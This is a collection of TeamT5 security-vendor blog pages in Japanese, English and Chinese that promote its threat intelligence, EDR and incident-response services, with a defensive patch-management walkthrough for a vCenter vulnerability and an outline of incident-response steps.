企業のサイバー防衛戦略の目標達成をサポートする製品やサービスは多種多様です。当社では、専門カテゴリーに基づいた評価・導入ガイドを企業に提供しています。企業は、セキュリティインシデントレスポンス（IR）、エンドポイント検出およびエンドポイント検出および対応ソリューション（EDR）、脅威インテリジェンスプラットフォーム（TIP）の評価と導入の優先順位を、目標に基づいて理解することができます。




####インシデントレスポンス（IR）： 導入における主な検討事項
インシデントレスポンスサービスは、サイバーセキュリティのインシデントやアクシデントに即座に対応し、調査することで、企業が受ける被害軽減のサポートを目的としています。しかし、IRサービスを選択・導入する場合、企業は5つの重要な要素を慎重に検討する必要があります。

[インシデント対応サービス(IR)：導入における主な考慮事項](https://teamt5.org/jp/posts/key-considerations-for-evaluating-incident-response-service-ir/)



####脅威インテリジェンスプラットフォーム（TIP）： 導入における主な検討事項
脅威インテリジェンスプラットフォームは、企業が脅威を特定、分析、対応する上で重要な脅威インテリジェンスを提供します。しかし、脅威インテリジェンスプラットフォームを選択・導入する場合、企業は5つの重要な要素を慎重に検討する必要があります。

[脅威インテリジェンスプラットフォーム：導入における主な考慮事項](https://teamt5.org/jp/posts/key-considerations-for-evaluating-threat-intelligence-platform-tip-solution/)



####エンドポイント検出および応答（EDR）ソリューション： 導入における主な検討事項
EDR（Endpoint Detection and Response）ソリューションは、企業がエンドポイントの脅威を早期に検知し、対応するための強力なツールです。しかし、EDRソリューションを選択・導入する際、企業は、選択したソリューションがサイバーセキュリティのニーズを満たし、サイバーセキュリティシステムの長期的な安定稼働を支援できるよう、6つのポイントに注意する必要があります。

[EDR(Endpoint Detection and Response) ：導入における主な考慮事項](https://teamt5.org/jp/posts/key-considerations-for-evaluating-endpoint-detection-and-response-edr-solutions/)




##結論
デジタル時代の到来に伴い、企業はますます複雑化するサイバー脅威に直面しています。企業は、サイバーセキュリティの強靭性を構築し、防衛目標を達成するために、自社のニーズと戦略目標に基づいて適切なサイバーセキュリティサービスとソリューションを選択することが重要です。



>TeamT5は、世界トップクラスのサイバー脅威アナリストで構成されているセキュリティベンダーであり、地理的・文化的優位性を活かし、極東アジアのサイバー攻撃者に特化しています。また、国際的なサイバーセキュリティカンファレンスにも頻繁に招待され、研究や見識を共有しています。当社の脅威インテリジェンス研究の専門知識とソリューションは、フロスト＆サリバンから2023、2024年度台湾脅威インテリジェンス分野の年間最優秀企業賞（Taiwanese Threat Intelligence Industry Company of the Year Award）を受賞しました。
>
>TeamT5のサイバーセキュリティ製品とサービスの詳細については、弊社までぜひお問い合わせください。
>[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)




企業向けサイバーセキュリティガイド【2025 最新バージョン】

Having access to precise and timely threat intelligence is crucial for protecting your organization. While many regions, such as Europe and America, have well-established cyber threat intelligence resources, the Asia-Pacific (APAC) region often faces a scarcity of localized intelligence. This is where TeamT5 steps in, leveraging over a decade of experience to offer specialized insights into APAC cyber threats.

##Why Choose TeamT5's ThreatVision?
TeamT5 is renowned for its expertise in the Asia-Pacific region. Our professional team, proficient in Chinese and equipped with deep geopolitical knowledge, has been at the forefront of researching Advanced Persistent Threats (APTs) from APAC for over twenty years. Our insights are frequently showcased at prestigious global conferences, underlining our status as leading experts in this domain.

##Understanding Threat Intelligence Needs
Cyber threat intelligence can be broadly categorized into three types, each catering to different roles within an organization:

####Strategic Threat Intelligence
Designed for C-level executives, this intelligence helps in understanding broad trends, identifying threat actors targeting the organization, and their objectives.

####Tactical Threat Intelligence
Essential for SOC leaders and analysts, this type focuses on hacker techniques and proactive threat prevention.

####Operational Threat Intelligence
Critical for incident responders, this intelligence provides precise threat indicators for swift assessment and response to incidents.

##Tailoring ThreatVision Reports to Your Needs
###For C-Level Executives

- **CTI Reports**: Consolidate event motives, sources, and malicious group profiles to provide crucial references.
- **RFI and Consulting Services**: Offer tailored investigation reports and advisory services for specific requirements.

###For Risk Managers

- **Technical Analysis**: Reports include event and malicious file analysis, helping in proactive threat mitigation.
- **Detection Tools**: Offer sample analysis capabilities for investigating current threats and understanding technical details.
- **Custom Reports and Tools**: TeamT5 analysts can provide customized reports and tools to aid in risk management operations.

###For Incident Responders

- **API Service**: Enables quick integration of automated situational information, reducing response times.
- **Threat Indicators and Detection Tools**: Provide accurate indicators to minimize false positives and enhance response efficiency.
- **Contextual Information**: Ensures sufficient context for swift escalation during high-risk events.

##Navigating ThreatVision Reports
ThreatVision reports are categorized to address various cybersecurity needs.

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

####APT in Asia Reports
Analyze APT events and trends in the APAC region, offering deep insights into hacker activities.

####Vulnerability Reports
Provide technical analysis and risk assessment of critical vulnerabilities, along with hunting tools and patch management.

####Cyber Affairs Reports
Comprehensive reports on cybersecurity operations and policies in the APAC region, particularly China.

##Enhancing Collaboration and Efficiency
ThreatVision enhances internal team collaboration and efficiency.

- **CISOs**: Use intelligence reports to secure budget, resources, and authority, while coordinating with CTOs and CIOs to strengthen policies.
- **SOC Teams**: Refer to IOCs and tools for rapid and effective defense deployment.
- **Analysts and Responders**: Investigate specific attack behaviors, analyze malicious samples, and provide insights for higher management.

##Summary
Choosing the right ThreatVision report is crucial for informed decision-making and effective threat management. Whether you need strategic insights, detailed technical analysis, or precise threat indicators, ThreatVision has the resources to meet your organization's cybersecurity needs. With our specialized focus on the Asia-Pacific region, you can trust TeamT5 to provide the intelligence necessary to stay ahead of evolving threats and safeguard your digital assets.

 
 
>Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 
>
>[Contact us](https://teamt5.org/tw/contact-us//?utm_source=blog&utm_medium=website) to schedule a consultation.

Which ThreatVision Intelligence is Right for You?

為了有效保護您的企業不受複雜多變的網路威脅侵擾，獲取精確且及時的威脅情資是必要的防禦手段。儘管歐美等地區擁有成熟的網路威脅情報資源，亞太地區（APAC）卻往往缺乏在地情資，而這正是 TeamT5 發揮作用之處。憑藉超過十年的經驗，TeamT5 為亞太地區的網路威脅提供精確、及時且具洞見的威脅情資。

 
##為什麼選擇 TeamT5 的 ThreatVision？
TeamT5 以其深耕亞太地區威脅情資研究的專業而聞名。我們的專業團隊精通中文，擁有逾二十年所累積的深厚地緣政治知識，在研究亞太地區進階持續性威脅（APT）族群和網路威脅的領域中，始終保持領先。我們的研究報告經常在世界級資安會議上發表，進一步鞏固我們在專業領域中的領導地位。

 
##了解威脅情資需求
網路威脅情資大致可以分為以下三種類型，以符合組織內各種角色對威脅情資的不同需求：

####戰略威脅情資（Strategic Threat Intelligence）
專門為負責決策的 C-Level 高階管理人員設計，有助於管理人員洞察宏觀威脅趨勢，識別針對企業的惡意攻擊者，並闡明攻擊者的目標。

####實戰威脅情資（Operational Threat Intelligence）
戰術型威脅情資對安全運營中心（SOC）的主管及分析師至關重要，協助企業了解惡意攻擊者的技術，並積極預防潛在威脅。

####戰術威脅情資（Tactical Threat Intelligence）
對威脅事件處理者（Incident Responders）來說，這類情資提供了精確的入侵威脅指標（IoC），協助快速評估並應變事件。

 
##量身打造您的 ThreatVision 報告
####針對 C-Level 經理人、資安決策者
- **CTI 報告**：統整威脅事件動機、來源和惡意攻擊者概況，提供關鍵參考建議。
- **RFI 諮詢服務**：針對企業的特定需求，提供客製化調查報告和諮詢服務。

####針對風險管理人員
- **技術分析**：情資報告包含威脅事件調查和惡意程式分析，協助企業主動緩解威脅。
- **檢測工具**：平台提供惡意樣本分析功能，能夠用於分析當前威脅並了解技術細節。
- **客製化報告和工具**：TeamT5 分析師提供客製化的報告和威脅狩獵工具，協助企業風險管理。

####針對事件應變人員
- **API 服務**：可快速整合至自動化系統中，加速事件處理時間。
- **威脅指標和偵測工具**：提供精確的威脅指標，讓團隊能夠專注於真正的威脅，最大限度減少誤報，並提高事件應變效率。
- **上下文資訊**：提供完整充分的上下文背景資訊，確保團隊在高風險事件中能夠快速掌握威脅的嚴重性，以進行必要的防禦升級或應對措施。

 
##總覽 ThreatVision 報告
ThreatVision 的威脅情資報告分類為以下三種，用以解決各種層面的網路安全需求。

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

###亞洲 APT 威脅情資報告
分析亞太地區的 APT 事件和威脅趨勢，深入了解駭客族群的活動。

###漏洞威脅情資報告
針對可被利用的高危關鍵漏洞，提供詳盡的技術分析和風險評估，以及狩獵工具和漏洞修補管理建議，使企業得以減輕高危漏洞所造成的威脅。

###亞太網路政策報告
彙整中文網路世界的重點網路資安新聞，包含政策、法案以及資安事件，尤其是中國網路政策相關的最新動態與發展。


 
##增強協作和效率
透過 ThreatVision ，您也得以增強企業內部團隊的協作和效率。

- **資安長（CISO）**：利用威脅情資報告來決策預算、資源和權限，並與 CTO 和 CIO 協作，加強資訊安全策略。
- **SOC 團隊**：參考入侵指標和威脅狩獵工具，快速有效地部署防禦，抵禦潛在威脅。
- **分析師和事件應變人員**：協助企業調查具體的攻擊行為，分析環境中的惡意樣本，並為高階管理人員提供戰略見解。

 
##總結
選擇最適合您的 ThreatVision 威脅情資報告，協助您的組織做出明智決策並有效管理威脅。無論您需要的是宏觀戰略見解、詳細技術分析，還是精確的威脅指標，ThreatVision 都擁有能滿足您網路安全需求的豐富資源。憑藉我們長期專注於亞太地區威脅情資研究的資歷，您可以信賴 TeamT5 所提供的必要情資，以超前應對不斷演變的威脅，並保護您的數位資產。



 
 
>請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，進一步安排諮詢，強化企業資安防禦。

選擇最適合您的 ThreatVision 威脅情資報告

正確かつリアルタイムな脅威インテリジェンスへのアクセスは、組織を保護するために不可欠です。ヨーロッパやアメリカなどではサイバー脅威インテリジェンスのリソースが確立されていますが、アジア太平洋 (APAC) 地域ではローカライズされたインテリジェンスが不足していることがよくあります。そこで TeamT5 は、10 年以上の経験を活かして APAC のサイバー脅威に関する専門的な知見を提供します。

##TeamT5 の ThreatVision を選ぶ理由

TeamT5 の最大の特徴は、アジア太平洋地域における専門知識の豊富さです。言語的、地政学的優位性を備えた当社の専門チームは、20 年以上にわたってアジア太平洋地域の APT (Advanced Persistent Threat) 研究の最前線に立ってきました。当社の知見は、権威ある世界的カンファレンスで頻繁に紹介されており、この分野におけるプロフェッショナルとしての地位を確立しています。

##脅威インテリジェンスのニーズを理解する
サイバー脅威インテリジェンスは、組織内のさまざまな役割に応じて、大きく 3 つのタイプに分類できます。

####戦略的脅威インテリジェンス
C レベルのエグゼクティブ向けに設計されたこのインテリジェンスは、幅広い傾向を理解し、組織を標的とする脅威アクターとその目的を特定するのに役立ちます。

####戦術的脅威インテリジェンス
SOC リーダーとアナリストにとって不可欠なこのインテリジェンスは、ハッカーのテクニックとプロアクティブな脅威の防止に重点を置いています。

####運用的脅威インテリジェンス
インシデント対応者にとって重要なこのインテリジェンスは、インシデントに対する迅速な評価と対応のための正確な脅威指標を提供します。

##ThreatVision レポートをニーズに合わせてカスタマイズ
####C レベルのエグゼクティブ向け
- **CTI レポート**: イベントの動機、ソース、悪意のあるグループのプロファイルを統合して、重要な参考資料を提供します。
- **RFI およびコンサルティング サービス**: 特定の要件に合わせてカスタマイズされた調査レポートとアドバイザリーサービスを提供します。


####リスク管理者向け
- **技術分析**: レポートにはイベントと悪意のあるファイルの分析が含まれており、プロアクティブな脅威の軽減に役立ちます。
- **検出ツール**: 現在の脅威を調査し、技術的な詳細を理解するためのサンプル分析機能を提供します。
- **カスタム レポートとツール**: TeamT5 アナリストが、リスク管理業務を支援するカスタマイズされたレポートとツールを提供します。


####インシデント対応者向け
- **API サービス**: 自動化された情報を迅速に統合し、対応時間を短縮します。
- **脅威インジケーターと検出ツール**: 誤検知を最小限に抑え、対応効率を高める正確な指標を提供します。
- **コンテキスト情報**: リスクの高い事象が発生した場合に、迅速なエスカレーションのための十分なコンテキストを確保します。

##ThreatVision レポートの種類
[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) レポートは、さまざまなサイバーセキュリティのニーズに対応するために分類されています。

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

####APT in Asia Report
APAC 地域の APT イベントと傾向を分析し、ハッカーの活動に関する深い知見を提供します。

####Vulnerability Report
重大な脆弱性の技術分析とリスク評価、およびハンティング ツールとパッチ管理を提供します。

####Cyber Affairs Report
アジア太平洋地域、特に中国におけるサイバーセキュリティの運用とポリシーに関する包括的な情報をまとめています。

##連携力と効率の強化
[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) は、社内チームの連携力と効率を強化します。
- **CISO**: インテリジェンス レポートを使用して予算、リソース、権限を確保し、CTO や CIO と連携してポリシーを強化します。
- **SOC チーム**: IOC とツールを参照して、迅速かつ効果的な防御を展開します。
- **アナリストと対応者**: 特定の攻撃動作を調査し、悪意のあるサンプルを分析し、上級管理職に知見を提供します。

##まとめ
適切な [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) レポートを選択することは、情報に基づいた意思決定と効果的な脅威管理に不可欠です。戦略的な洞察、詳細な技術分析、または正確な脅威指標のいずれにおいても、[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) には組織のサイバーセキュリティのニーズを満たすリソースがあります。アジア太平洋地域に特化している TeamT5 は、進化する脅威に先手を打ってデジタル資産を保護するために必要なインテリジェンスを提供します。



あなたにぴったりの ThreatVision インテリジェンス を選びましょう

處理資安漏洞（資訊安全漏洞）對於保護企業和組織免受各種網路攻擊，十分重要。及時修補漏洞能避免攻擊者突破防線，竊取敏感資料或影響關鍵系統運作。
當企業面臨名列在 CVE（Common Vulnerabilities and Exposures）的資安漏洞時，建議採取以下措施： 

### 1. 弱點評估與分類

首先要了解該 CVE 的具體細節，包括其嚴重程度（CVSS 分數）、影響範圍、攻擊途徑、潛在影響（例如：服務中斷、系統停機等）、漏洞是否已有攻擊事件發生、暗網是否有相關工具販賣情資。


### 2. 檢查受影響之系統及使用人員

調查內部系統、服務及使用和負責之人員，確認哪些設備及服務受到該CVE之影響，升級是否會造服務中斷及影響使用者。


### 3. 優先級排定

根據該弱點的嚴重程度和風險，評估該問題的修補優先級。若該 CVE 具有高危性或已被攻擊者使用，應立即將其納入高優先級處理範圍。


### 4. 修補或緩解措施

 - 若有官方已釋出更新，應立即進行更新測試驗證，驗證成功後升級。
 - 若官方尚未釋出更新，應考慮實施緩解措施，例如：限制該弱點的攻擊面、提高相關的安全設定、或通過防火牆限制攻擊途徑。

### 5. 持續監控

持續監控有關該 CVE 的更新資訊，查看是否有新的攻擊手法出現。

 

----------------

 

以之前漏洞「CVE-2024-38812」為例，採用 TeamT5 威脅情資平台解決方案 ThreatVision，即可從該平台漏洞修補管理報告（Patch Management Report）快速了解漏洞相關資訊，TeamT5 從威脅情報角度重新定義該漏洞的威脅等級，不僅包含 CVSS 分數，還納入了該漏洞的利用工具可得性以及已被攻擊者利用的情況。

 
![pic01update_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic01update_vulnerability-patch-by-using-teamt5-solution.png)
<center>漏洞修補管理報告頁面</center>

 
![pic02_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic02_vulnerability-patch-by-using-teamt5-solution.png)
<center>ThreatVision漏洞修補管理報告針對「CVE-2024-38812」漏洞的說明</center>

 
ThreatVision 漏洞修補管理報告指出，「CVE-2024-38812」漏洞為 vCenter Server 在 DCERPC 協定實施中，存在堆溢出漏洞。具有 vCenter Server 網路訪問許可權的惡意行為者，可能會通過發送特製網路數據包來觸發此漏洞，這可能會導致遠端代碼執行。

同時根據連結提供的 VMware 官網說明，影響產品為 7.0 及 8.0 版 vCenter Server，與 4.x 及 5.x 版 Cloud Foundation。使用者可透過 ThreatVision 漏洞修補管理報告附上的連結，即時取得修補建議與官方更新。

 
![pic03_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic03_vulnerability-patch-by-using-teamt5-solution.png)
<center>ThreatVision 漏洞修補管理報告提供「CVE-2024-38812」漏洞的官方更新檔及說明資訊</center>

 
使用者也可透過 Publicly Disclosed 區塊及 Exploited 區塊，了解是否有 POC 工具及已遭利用之入侵指標（IoCs）。由於目前 CVE-2024-38812 尚未有相關前述資料，下圖為範例。

 
![pic04_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic04_vulnerability-patch-by-using-teamt5-solution.png)
<center>ThreatVision 漏洞修補管理報告示意圖</center>

 
![pic05_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic05_vulnerability-patch-by-using-teamt5-solution.png)
<center>ThreatVision 漏洞修補管理報告：Publicly Disclosed 區塊說明是是否已有 POC 工具</center>

 
![pic06_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic06_vulnerability-patch-by-using-teamt5-solution.png)
<center>ThreatVision漏洞修補管理報告：Exploited 區塊說明已遭利用之IoCs</center>

 
由於「CVE-2024-38812」漏洞出現在 vCenter Server，而可存取 vCenter Server 人員為 IT 管理人員，故可確認此漏洞有提供內部人員使用，對象為IT管理人員。

故企業與組織在未能更新前，我們建議可先在 vCenter Server 限縮網路存取面，限定特定IP才可存取（僅限管理人員IP或操作區IP），並在存取之主機安裝EDR或定期健診，檢測主機安全且透過威脅獵捕確認，是否有可疑遠端軟體或潛在風險，且透過 ThreatVision 漏洞修補管理報告提供之 Exploited IoCs 匯入資安解決方案（FW、IPS/IDS、WAF、防毒軟體、EDR）進行追蹤及防護，待後續安排更新時間。

 
![pic08update_vulnerability-patch-by-using-teamt5-solution..png](https://uploads.teamt5.org/upload/original/pic08update_vulnerability-patch-by-using-teamt5-solution..png)
<center>上圖為示意圖</center>

 
![pic07update_vulnerability-patch-by-using-teamt5-solution..png](https://uploads.teamt5.org/upload/original/pic07update_vulnerability-patch-by-using-teamt5-solution..png)
<center>上圖為示意圖</center>



 
企業也可持續留意 ThreatVision 對於漏洞的更新資訊，ThreatVision 漏洞修補管理報告提供之Exploited IoCs匯入企業既有資安防護平台，如：防火牆、防毒系統。

![pic09update_vulnerability-patch-by-using-teamt5-solution.png](https://uploads.teamt5.org/upload/original/pic09update_vulnerability-patch-by-using-teamt5-solution.png)
<center> 上圖為示意圖</center>

漏洞修補絕招：以 TeamT5 解決方案為例

##前言：為何資安事件應變處理對企業十分重要？
現今企業日常營運越來越依賴於各種數位系統，然而，這也使資訊安全威脅日益嚴峻，如數據洩漏、系統入侵、惡意軟體攻擊和拒絕服務攻擊等類型的資安事件，已成為企業面臨的重大挑戰。

這些事件不僅可能導致大量敏感資訊、商業機密外洩，還可能大幅影響企業的財務狀況、品牌形象及正常營運。

有效的資安事件應變處理不僅是應對突發事件的必要手段，更是保護企業數位資產和維護客戶信任的關鍵。企業需要具備快速應變和處理資安事件的能力，才能在競爭激烈的市場中，立於不敗之地。

本文將從基礎概念到實務處理，全面介紹資安事件應變處理的重要環節。

## 什麼是資安事件？
資安事件是指任何威脅到資訊安全的行為或事件，這些事件可能導致資料洩漏、服務中斷或系統受損。常見的資安事件包括：

1. **數據洩漏**：敏感數據（如個人資料、財務資訊）被未經授權的第三方獲取。
2. **系統入侵**：駭客利用漏洞或社會工程手段獲得系統控制權。
3. **惡意軟體攻擊**：如病毒、蠕蟲、勒索軟體等，這些軟體可以破壞系統或竊取資訊。
4. **分散式阻斷服務（DDoS）**：大量流量癱瘓目標系統，使其無法正常運作。

 

>更多說明請參考：[資安事件是什麼？如何處理、應變？](https://teamt5.org/tw/posts/what-is-a-cybersecurity-incident-how-to-deal-with-it/?utm_source=website&utm_medium=website)

 

## 資安事件應變處理的基本步驟
 以下是處理資安事件的基本步驟，每一步驟都需要詳細計劃和準備，以確保在事件發生時能夠有效應對。

 

#### 1. 事件偵測

事件偵測是資安事件應變處理的第一步，也是最關鍵的一步。及時發現異常活動可以大幅降低資安事件的影響。使用先進的威脅情資平台（Threat Intelligence Platform）和端點偵測與回應解決方案（Endpoint Detection and Response, EDR）等工具，可以幫助企業及時發現潛在威脅。這些工具能夠自動監控網絡流量和系統活動，識別異常行為並發出警報。

 

#### 2. 事件分類

一旦偵測到潛在的資安事件，接下來的步驟是對事件進行分類。這包括確定事件的類型（如數據洩漏、系統入侵、惡意軟體攻擊等）和嚴重程度。事件分類的目的是確定應對策略和資源分配，確保最嚴重的事件得到優先處理。

 

#### 3. 事件遏制

事件遏制的目的是限制資安事件的影響範圍，防止事態進一步惡化。根據事件的類型和嚴重程度，可以採取以下措施：
 - **隔離受感染的系統**：斷開受感染系統與網絡的連接，以防止惡意軟體擴散。
 - **封鎖可疑流量**：使用防火牆和入侵防禦系統（IPS）阻止可疑的網絡流量。
 - **關閉受影響的服務**：暫時關閉受影響的應用程序或服務，以減少風險。

 

#### 4. 事件調查

在事件得到初步遏制後，需要對其進行詳細調查。調查的目的是確定事件的來源、途徑和影響範圍。這包括：
 - **分析日誌和數據**：檢查系統日誌、網絡流量記錄和其他相關數據，找出攻擊者的行為和使用的工具。
 - **訪談相關人員**：與受影響系統的管理員和用戶進行訪談，了解事件發生的前後情況。
 - **收集證據**：保存相關證據，以便在必要時進行法律追訴或進一步分析。

 

#### 5. 事件恢復

事件調查完成後，下一步是恢復受影響的系統和數據。這包括：
 - **修復受損系統**：重新安裝或修復受影響的操作系統和應用程序。
 - **恢復數據**：從備份中恢復被刪除或損壞的數據，確保數據完整性。
 - **漏洞修補**：確保所有已知漏洞都被修補，防止再次發生類似事件。

 

#### 6. 事件報告

事件恢復後，需要對整個事件處理過程進行詳細記錄，並向相關部門或監管機構報告。事件報告應包括以下內容：
 - **事件描述**：簡要描述事件的經過和類型。
 - **處理過程**：詳細記錄事件偵測、分類、遏制、調查和恢復的每一步驟。
 - **影響評估**：評估事件對企業運營、數據安全和客戶信任的影響。
 - **改進建議**：提出改進安全措施和應變計劃的建議，以防止類似事件再次發生。

 

#### 7. 事後分析

最後，進行事後分析（Post-Incident Analysis），總結經驗教訓，改進安全策略和應對方案。這包括：
 - **回顧事件處理過程**：檢查整個事件處理流程，找出成功和失誤之處。
 - **更新應變計劃**：根據事後分析的結果，更新和改進應變計劃。
 - **培訓和演練**：對員工進行培訓，提升其應對資安事件的能力，並定期進行模擬演練，測試應變計劃的有效性。

 

## 實務案例分享

杜浦數位安全 TeamT5 根據逾二十年的資安事件應變處理經驗，篩選近期對企業危害最大的資安事件，說明應變處理做法。

案例如下列：

- [【資安事件應變處理案例】當 APT 威脅埋伏於環境中，該如何有效處置？](https://teamt5.org/tw/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=website&utm_medium=website)

- [【資安事件應變處理案例】個資外洩遭駭客利用，該如何處置與防範？](https://teamt5.org/tw/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=website&utm_medium=website)

- [【資安事件應變處理案例】勒索加密找上門，該如何應變？](https://teamt5.org/tw/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=website&utm_medium=website)

 
在日益嚴峻的網路安全環境中，企業更可與外包的資安事件應變處理服務團隊合作，成為企業保護自己免受資安事件危害的最佳助力。

 
 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件應變與處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。 若您有資安事件處理、應變的需求，歡迎填寫[諮詢表單](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

資安事件應變處理：從基礎概念到實務處理

##Foreword: Why is cybersecurity incident response processing important to enterprises?
Today's daily operations of enterprises are increasingly dependent on various digital systems. However, this reliance has also intensified cybersecurity threats, including data leaks, system intrusions, malware attacks, denial of service attacks and other types of cybersecurity incidents, which have become an issue faced by enterprises. These challenges have become major concerns for enterprises.

These incidents may not only lead to a large amount of sensitive data and business confidential information leakage, but may also significantly affect the company's financial status, brand image, and normal operations.

Effective cybersecurity incident response processing is not only a necessary means to respond to emergencies, but also the key to protecting corporate digital assets and maintaining customers’ trust. Enterprises need to have the ability to respond quickly and handle cybersecurity incidents in order to remain invincible in a highly competitive market.

This article provides a comprehensive introduction to key aspects of emergency response to cybersecurity incidents, covering everything from fundamental concepts to practical procedures.

## What is a cybersecurity incident?

A cybersecurity incident refers to any behavior or event that poses a threat to the cyber’s security. These events may lead to data leakage, service interruption, or system damage. Common security incidents include:

1. **Data Leakage**: Sensitive data (such as personal information, financial information) is obtained by unauthorized third parties.
2. **System Intrusion**: Hackers take advantage of vulnerabilities or use social engineering methods to gain control of the system.
3. **Malware attacks**: Such as viruses, worms, ransomware, etc. These software can damage the system or steal information.
4. **Distributed Denial of Service (DDoS)**: A large amount of traffic paralyzes the target system, making it unable to operate normally.


>For more explanation, please refer to: [What is a cybersecurity incident? How to deal with it?](https://teamt5.org/en/posts/what-is-a-cybersecurity-incident-how-to-deal-with-it?utm_source=blog&utm_medium=website)


## Basic steps for handling cybersecurity incidents
 The following are the basic steps for handling a security incident. Each step requires detailed planning and preparation to ensure an effective response when an incident occurs.

#### 1. Event detection

Incident detection is the first and most critical step in handling cybersecurity incidents. Timely detection of abnormal activities can significantly reduce the impact of security incidents. Using tools such as advanced Threat Intelligence Platform (Threat Intelligence Platform) and Endpoint Detection and Response (EDR) solutions can help enterprises identify potential threats promptly. These tools automatically monitor network traffic and system activity, identify anomalous behavior, and raise alerts.

#### 2. Event classification

Once a potential security incident is detected, the next step is to classify the incident. This includes determining the type of incident (e.g. data breach, system intrusion, malware attack, etc.) and severity. The purpose of incident triage is to determine response strategies and resource allocation to ensure that the most serious incidents are dealt with first.

#### 3. Incident containment

The purpose of incident containment is to limit the scope of impact of a security incident and prevent the situation from deteriorating further. Depending on the type and severity of the incident, the following actions can be taken:
 - **Isolate Infected System**: Disconnect the infected system from the network to prevent the spread of malware.
 - **Block Suspicious Traffic**: Use firewalls and intrusion prevention systems (IPS) to block suspicious network traffic.
 - **Turn off affected services**: Temporarily shutdown affected applications or services to reduce risk.

#### 4. Incident Investigation

After the incident is initially contained, it needs to be investigated in detail. The purpose of the investigation is to determine the source, pathway, and scope of the incident. This includes:
 - **Analyze logs and data**: Examine system logs, network traffic records, and other relevant data to identify attacker behavior and tools being used.
 - **Interview with relevant personnel**: Interview with administrators and users of the affected system to understand the circumstances surrounding the incident.
 - **Collect evidence**: Preserve relevant evidence for legal prosecution or further analysis if necessary.

#### 5. Event recovery

Once the incident investigation is completed, the next step is to restore the affected systems and data. This includes:
 - **Repair Broken System**: Reinstall or repair affected operating systems and applications.
 - **Restore Data**: Recover deleted or damaged data from backup to ensure data integrity.
 - **Vulnerability Patching**: Ensure that all known vulnerabilities are patched to prevent similar incidents from happening again.

#### 6. Incident Report

After the incident is recovered, the entire incident handling process needs to be recorded in detail and reported to the relevant departments or regulatory agencies. Incident reports should include the following:
 - **Event Description**: Briefly describe the process and type of the event.
 - **Process**: Detailed documentation of each step of incident detection, classification, containment, investigation and recovery.
 - **Impact Assessment**: Evaluate the impact of an incident on business operations, data security, and customer trust.
 - **Improvement Suggestions**: Suggestions for improving security measures and contingency plans to prevent similar incidents from happening again.

#### 7. Post-mortem analysis

Finally, conduct post-incident analysis (Post-Incident Analysis). Summarize experiences and lessons, and improve security strategies and response plans. This includes:
 - **Review the event handling process**: Examine the entire event handling process to identify successes and mistakes.
 - **Update contingency plan**: Update and improve the contingency plan based on the results of post-mortem analysis.
 - **Training and Drills**: Train employees to improve their ability to respond to cybersecurity incidents, and conduct regular simulation exercises to test the effectiveness of the contingency plan.


## Practical case sharing

Based on more than two decades of experience in responding to cybersecurity incidents, Dupu Digital Security TeamT5 has screened the recent cybersecurity incidents that have caused the greatest harm to the enterprise and explained the response methods.

 

Cases are as follows:
- [**[Cybersecurity Incident Response Case]** When APT threats lurk in the environment, how to effectively deal with them?](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-advanced-persistent-threat-apt/?utm_source=blog&utm_medium=website)

- [**[Cybersecurity Incident Response Case]** Personal information is leaked and used by hackers. How to deal with and prevent it?](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-private-data-breach/?utm_source=blog&utm_medium=website)

- [**[Cybersecurity Incident Response Case]** Encryption ransomware comes to your door, how to respond?](https://teamt5.org/en/posts/ir-use-case-how-to-respond-to-ransomware-attack/?utm_source=blog&utm_medium=website)

In an increasingly severe cybersecurity environment, enterprises can cooperate with outsourced cybersecurity incident response teams to effectively protect themselves from cybersecurity incidents.

 

>[Contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) for more information.

Cybersecurity Incident Response: From Basic Concepts to Practice

IR Service Resources

在數位時代，資安事件已成為企業無法忽視的重要議題。資安事件的範圍廣泛，從數據洩漏、系統入侵、到惡意軟體攻擊，每一種事件都可能對企業的正常運作和聲譽造成嚴重影響。

那麼，什麼是資安事件？又該如何有效處理和應變呢？

## 什麼是資安事件？

資安事件是指任何威脅到資訊安全的行為或事件，這些事件可能導致資料洩漏、服務中斷或系統受損。常見的資安事件包括：

1. **數據洩漏**：敏感數據（如個人資料、財務資訊）被未經授權的第三方獲取。
2. **系統入侵**：駭客利用漏洞或社會工程手段獲得系統控制權。
3. **惡意軟體攻擊**：如病毒、蠕蟲、勒索軟體等，這些軟體可以破壞系統或竊取資訊。
4. **分散式阻斷服務（DDoS）**：大量流量癱瘓目標系統，使其無法正常運作。

